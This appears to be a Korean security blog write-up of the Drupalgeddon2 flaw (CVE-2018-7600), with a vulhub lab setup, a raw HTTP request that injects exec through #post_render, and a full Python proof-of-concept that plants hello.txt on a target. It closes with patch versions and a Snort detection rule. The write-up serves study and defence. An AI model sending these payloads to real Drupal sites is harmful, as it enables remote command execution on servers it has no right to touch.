1. Drupal
- PHP로 작성된 오픈 소스 콘텐츠 관리 프레임워크, 콘텐츠 관리 시스템, 블로그 엔진
2. 취약점
- 취약한 Drupal의 Form API Ajax 요청 프로세스에서 입력값 검증이 제대로 이루어지지 않아 공격자로부터 악의적인 코드를 실행할 수 있음
영향받는 버전
- Drupal 7.58 이전 버전
- Drupal 8.3.9 이전의 8.x
- Drupal 8.4.6 이전의 8.5.x
- Drupal 8.5.1 이전의 8.5.x
2.1 분석
- Drupal에서 Form API는 Renderable Arrays, 배열을 사용
- 랜더링 배열은 "#"로 시작하는 키-값 구조
- #post_render 배열은 브라우저에 특정 부분을 랜더링하는 역할 수행
- #post_render 배열에 시스템 명령 함수를, 배열의 인자인 #markup에 시스템 명령어를 삽이하면, 해당 명령이 실행됨
2.1 실습
- 취약한 서버 실행
git clone https://github.com/vulhub/vulhub
cd /vulhub/drupal/CVE-2018-7600
docker-compose up -d
- 이후 localhost:8080으로 접속하여 설치 진행 및 정상 접근 확인
※ "데이터베이스 설정"에서 sqlite 데이터베이스 선택
- Drupal 전용 스캐너 droopescan으로 정보 수집
git clone https://github.com/SamJoan/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan --help
./droopescan scan -u Target
- ExploitDB에서 Exploit 코드를 다운 받아 PoC 실행
- PoC 실행 후 Check에서 확인되는 URL에 접근 시 hello.txt의 내용 확인 가능
- 와이어샤크를 통해 확인해보면 다음과 같음
- id 명령어 삽입 및 수행 결과 정상 반환 등 다른 명령어 또한 삽입이 가능
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
2.2 PoC
- PoC를 통해 다음을 확인할 수 있음
① form_id=user_register_form // user_register_form은 가입하기 양식 전체의 form_id
② _drupal_ajax=1 // ajax 사용
③ mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id // 실제 공격이 발생하는 지점
#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
3. 대응방안
3.1 서버측면
- 패치 적용
버전 | 패치 버전 |
Drupal 7.x 버전대 | 7.58 버전 |
Drupal 8.3.x 버전대 | 8.3.9 버전 |
Drupal 8.4.x 버전대 | 8.4.6 버전 |
Drupal 8.5.x 버전대 | 8.5.1 버전 |
3.2 네트워크 측면
- 원격 명령 삽입이 가능한 랜더링 배열을 탐지하는 정책을 설정
#access_callback : Drupal에서 현재 사용자가 요소에 액세스할 수 있는지 여부를 결정하는 데 사용
#pre_render : 렌더링하기 전에 렌더링 배열을 조작
#lazy_builder : 렌더링 프로세스의 맨 마지막에 요소를 추가하는 데 사용
#post_render : 렌더링 프로세스의 결과를 받고 주변에 래퍼를 추가
<snort 예시>
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"Drupalgeddon2 (CVE-2018-7600)"; flow: to_server,established; content:"POST"; http_method; content:"markup"; fast_pattern; content: "/user/register"; http_uri; pcre:"/(access_callback|pre_render|lazy_builder|post_render)/i"; classtype:web-application-attack; sid:9000110; rev:1;)
4. 참고
- https://nvd.nist.gov/vuln/detail/cve-2018-7600
- https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
- https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/
- https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
'취약점 > RCE' 카테고리의 다른 글
Oracle WebLogic WLS Security Component RCE (CVE-2017-10271) (1) | 2022.12.23 |
---|---|
Joomla HTTP Header RCE (CVE-2015-8562) (0) | 2022.12.18 |
SMB RCE 취약점 (MS17-010, CVE-2017-0143 ~ 0148) (0) | 2022.12.07 |
Confluence Server 및 Data Center RCE 취약점 (CVE-2022-26134) (0) | 2022.12.04 |
Apache Unomi RCE (CVE-2020-13942) (0) | 2022.12.02 |